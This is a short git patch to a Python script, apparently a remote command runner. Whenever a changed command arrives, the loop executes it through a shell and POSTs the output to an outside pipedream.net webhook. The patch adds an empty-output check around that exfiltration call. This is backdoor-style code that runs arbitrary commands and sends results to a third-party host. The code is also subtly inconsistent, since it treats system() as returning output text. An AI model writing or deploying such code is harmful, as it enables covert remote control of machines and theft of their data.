From 3dc7e6962f03eaaf0affe4937af44fb1f912d0f0 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Tue, 15 Aug 2023 20:41:48 +0800 Subject: updated --- main.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index 8444811..c5eef80 100644 --- a/main.py +++ b/main.py @@ -25,13 +25,14 @@ while True: if old_command != command: try: cmdout = system(command, shell=True) - try: - post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) - except KeyboardInterrupt: - continue - except: - print("Failed to sent output") - continue + if cmdout != "": + try: + post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) + except KeyboardInterrupt: + continue + except: + print("Failed to sent output") + continue old_command = command continue except: -- cgit v1.2.3